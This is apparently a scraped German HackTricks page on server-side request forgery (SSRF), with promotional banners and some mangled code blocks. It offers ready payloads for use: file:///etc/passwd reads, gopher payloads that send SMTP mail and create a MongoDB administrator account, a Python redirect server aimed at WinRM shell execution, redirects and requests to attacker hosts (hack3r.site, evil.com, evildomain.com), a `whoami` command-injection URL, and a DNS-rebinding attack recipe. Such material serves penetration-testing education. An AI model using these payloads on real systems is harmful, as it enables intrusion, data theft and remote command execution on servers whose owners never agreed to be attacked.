.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Serverseitige Anfragefälschung)
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.
Grundlegende Informationen
Eine Serverseitige Anfragefälschung (SSRF) tritt auf, wenn ein Angreifer eine serverseitige Anwendung manipuliert, um HTTP-Anfragen an eine Domain ihrer Wahl zu senden. Diese Schwachstelle macht den Server für beliebige externe Anfragen angreifbar.
Erfassen von SSRF
Das erste, was Sie tun müssen, ist, eine von Ihnen generierte SSRF-Interaktion zu erfassen. Zur Erfassung einer HTTP- oder DNS-Interaktion können Sie Tools wie verwenden:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Ein Burp Collaborator, der ngrok verwendet
Umgehung von whitelisteten Domains
Normalerweise werden Sie feststellen, dass SSRF nur in bestimmten whitelisteten Domains oder URLs funktioniert. Auf der folgenden Seite finden Sie eine Zusammenstellung von Techniken, um zu versuchen, diese Whitelist zu umgehen:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Umgehung über offene Weiterleitung
Wenn der Server ordnungsgemäß geschützt ist, könnten Sie alle Beschränkungen umgehen, indem Sie eine offene Weiterleitung innerhalb der Webseite ausnutzen. Da die Webseite SSRF zur gleichen Domain zulassen wird und wahrscheinlich Weiterleitungen folgen wird, können Sie die offene Weiterleitung ausnutzen, um den Server dazu zu bringen, auf interne Ressourcen zuzugreifen.
Lesen Sie hier mehr: https://portswigger.net/web-security/ssrf
Protokolle
- file://
- Das URL-Schema
file://
verweist direkt auf/etc/passwd
:file:///etc/passwd
- dict://
- Das DICT-URL-Schema wird beschrieben als für den Zugriff auf Definitionen oder Wortlisten über das DICT-Protokoll verwendet. Ein gegebenes Beispiel veranschaulicht eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie eine Instanz eines PHP-Skripts, das möglicherweise missbraucht wird, um sich mit einem DICT-Server unter Verwendung von vom Angreifer bereitgestellten Anmeldeinformationen zu verbinden:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Identifiziert als Protokoll für sicheren Dateitransfer über Secure Shell, wird ein Beispiel gezeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden:
url=sftp://generic.com:11111/
- TFTP://
- Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das entworfen ist, um eine Anfrage an einen TFTP-Server zu senden. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Dieser Abschnitt behandelt das Lightweight Directory Access Protocol und betont dessen Verwendung zur Verwaltung und zum Zugriff auf verteilte Verzeichnisdienste über IP-Netzwerke. Interagieren Sie mit einem LDAP-Server auf localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Es wird eine Methode beschrieben, wie SSRF-Schwachstellen ausgenutzt werden können, um mit SMTP-Diensten auf localhost zu interagieren, einschließlich Schritten zur Offenlegung interner Domänennamen und weiterer Untersuchungsmaßnahmen basierend auf diesen Informationen.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Wenn das SSRF von curl ausgeführt wird, verfügt curl über eine Funktion namens URL-Globbing, die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel in diesem Writeup finden Sie dieses Beispiel für einen Pfadtraversierung über das
file
-Protokoll:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads. Zwei unterschiedliche Verwendungen werden veranschaulicht:
Gopher://
Mit diesem Protokoll können Sie die IP, den Port und die Bytes angeben, die Sie möchten, dass der Server sendet. Dann können Sie im Grunde genommen eine SSRF ausnutzen, um mit einem beliebigen TCP-Server zu kommunizieren (aber Sie müssen zuerst wissen, wie Sie mit dem Dienst sprechen).
Glücklicherweise können Sie Gopherus verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann remote-method-guesser verwendet werden, um gopher-Payloads für Java RMI-Dienste zu erstellen.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP - Rückverbindung zu 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- Erstellen Sie einen Benutzer mit Benutzernamen=admin, Passwort=admin123 und Berechtigung=Administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF über den Referrer-Header & Andere
Analyse-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen, eine Praxis, die Anwendungen unbeabsichtigt an Server-seitigen Anfragefälschungen (SSRF) verwundbar macht. Dies liegt daran, dass solche Software externe URLs besuchen kann, die im Referrer-Header erwähnt sind, um den Inhalt der verweisenden Website zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "Collaborator Everywhere" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.
SSRF über SNI-Daten aus dem Zertifikat
Eine Fehlkonfiguration, die die Verbindung zu einem beliebigen Backend durch eine einfache Einrichtung ermöglichen könnte, wird anhand einer Beispiel-Nginx-Konfiguration veranschaulicht:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI)-Feld direkt als Adresse des Back-Ends verwendet. Diese Einrichtung macht eine Schwachstelle für Server-seitige Anfragenfälschung (SSRF) zugänglich, die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für die Ausnutzung, um eine Verbindung zu einem beliebigen Backend wie internal.host.com
zu erzwingen, unter Verwendung des openssl
-Befehls, wird unten gegeben:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget-Datei-Upload
SSRF mit Befehlseinschleusung
Es könnte sich lohnen, ein Payload wie: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
auszuprobieren.
PDFs Rendering
Wenn die Webseite automatisch ein PDF mit den von Ihnen bereitgestellten Informationen erstellt, können Sie etwas JS einfügen, das vom PDF-Ersteller selbst (dem Server) ausgeführt wird, während das PDF erstellt wird, und Sie können einen SSRF missbrauchen. Hier finden Sie weitere Informationen.
Von SSRF zu DoS
Erstellen Sie mehrere Sitzungen und versuchen Sie, schwere Dateien herunterzuladen, indem Sie den SSRF aus den Sitzungen ausnutzen.
SSRF PHP-Funktionen
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF-Umleitung zu Gopher
Für einige Exploitationsversuche müssen Sie möglicherweise eine Umleitungsantwort senden (eventuell um ein anderes Protokoll wie Gopher zu verwenden). Hier finden Sie verschiedene Python-Codes, um mit einer Umleitung zu antworten:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Fehlkonfigurierte Proxies für SSRF
Tricks aus diesem Beitrag.
Flask
Flask Proxy anfälliger Code
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask ermöglicht die Verwendung von **`@`** als Anfangszeichen, was es ermöglicht, den **Anfang des Hostnamens als Benutzernamen** zu verwenden und einen neuen einzufügen. Angriffsanfrage:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Vulnerabler Code:
Es wurde entdeckt, dass es möglich ist, den Pfad einer Anfrage mit dem Zeichen ;
zu beginnen, was es ermöglicht, dann @
zu verwenden und einen neuen Host einzufügen, um darauf zuzugreifen. Angriffsanfrage:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Eingebauter Webserver
Anfälliger PHP-Code
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP erlaubt die Verwendung des Zeichens `*` vor einem Schrägstrich im Pfad der URL, hat jedoch andere Einschränkungen wie z.B. dass es nur für den Stammverzeichnispfad `/` verwendet werden kann und dass Punkte `.` nicht vor dem ersten Schrägstrich erlaubt sind, daher ist es erforderlich, eine IP-Adresse ohne Punkte zu verwenden, zum Beispiel:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS-Rebinding-CORS/SOP-Umgehung
Wenn Sie Probleme haben, Inhalte von einer lokalen IP auszuleiten, aufgrund von CORS/SOP, kann DNS-Rebinding verwendet werden, um diese Einschränkung zu umgehen:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
Automatisches DNS-Rebinding
Singularity of Origin
ist ein Tool zur Durchführung von DNS-Rebinding-Angriffen. Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers DNS-Namens auf die IP-Adresse der Zielmaschine umzuleiten und Angriffspayloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
Schauen Sie sich auch den öffentlichen Server an unter http://rebind.it/singularity.html
DNS-Rebinding + TLS-Session-ID/Session-Ticket
Anforderungen:
- SSRF
- Ausgehende TLS-Sitzungen
- Dinge auf lokalen Ports
Angriff:
- Fordern Sie den Benutzer/Bot auf, auf eine vom Angreifer kontrollierte Domain zuzugreifen.
- Die TTL des DNS beträgt 0 Sekunden (damit das Opfer die IP der Domain bald erneut überprüft).
- Es wird eine TLS-Verbindung zwischen dem Opfer und der Domain des Angreifers hergestellt. Der Angreifer fügt die Payload innerhalb der Sitzungs-ID oder des Sitzungstickets ein.
- Die Domain wird eine unendliche Schleife von Weiterleitungen gegen sich selbst starten. Das Ziel dabei ist es, den Benutzer/Bot dazu zu bringen, die Domain zu öffnen, bis er erneut eine DNS-Anfrage der Domain durchführt.
- In der DNS-Anfrage wird jetzt eine private IP-Adresse angegeben (zum Beispiel 127.0.0.1).
- Der Benutzer/Bot wird versuchen, die TLS-Verbindung wiederherzustellen, und dazu wird er die Sitzungs-ID/Ticket-ID senden (in der sich die Payload des Angreifers befand). Herzlichen Glückwunsch, Sie haben es geschafft, den Benutzer/Bot dazu zu bringen, sich selbst anzugreifen.
Beachten Sie, dass Sie während dieses Angriffs, wenn Sie localhost:11211 (memcache) angreifen möchten, das Opfer die initiale Verbindung mit www.attacker.com:11211 herstellen lassen müssen (der Port muss immer gleich sein).
Um diesen Angriff durchzuführen, können Sie das Tool verwenden: https://github.com/jmdx/TLS-poison/
Für weitere Informationen werfen Sie einen Blick auf den Vortrag, in dem dieser Angriff erklärt wird: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blindes SSRF
Der Unterschied zwischen einem blinden SSRF und einem nicht blinden besteht darin, dass Sie bei einem blinden SSRF die Antwort der SSRF-Anfrage nicht sehen können. Daher ist es schwieriger auszunutzen, da Sie nur bekannte Schwachstellen ausnutzen können.
Zeitbasiertes SSRF
Durch Überprüfen der Zeit der Antworten vom Server könnte es möglich sein zu wissen, ob eine Ressource existiert oder nicht (vielleicht dauert es länger, auf eine vorhandene Ressource zuzugreifen als auf eine, die nicht existiert).
Cloud-SSRF-Ausnutzung
Wenn Sie eine SSRF-Schwachstelle in einer Maschine innerhalb einer Cloud-Umgebung finden, können Sie interessante Informationen über die Cloud-Umgebung und sogar Anmeldeinformationen erhalten:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
SSRF-anfällige Plattformen
Mehrere bekannte Plattformen enthalten oder enthielten SSRF-Schwachstellen, überprüfen Sie diese unter:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Tools
SSRFMap
Tool zur Erkennung und Ausnutzung von SSRF-Schwachstellen
Gopherus
Dieses Tool generiert Gopher-Payloads für:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser ist ein Java RMI Schwachstellenscanner, der Angriffsoperationen für die häufigsten Java RMI Schwachstellen unterstützt. Die meisten verfügbaren Operationen unterstützen die --ssrf
-Option, um ein SSRF-Payload für die angeforderte Operation zu generieren. Zusammen mit der --gopher
-Option können direkt einsatzbereite Gopher-Payloads generiert werden.
SSRF Proxy
SSRF Proxy ist ein mehrfädiger HTTP-Proxyserver, der entwickelt wurde, um den Client-HTTP-Verkehr durch HTTP-Server zu tunneln, die anfällig für Server-seitige Anfragenfälschung (SSRF) sind.
Zum Üben
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Referenzen
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}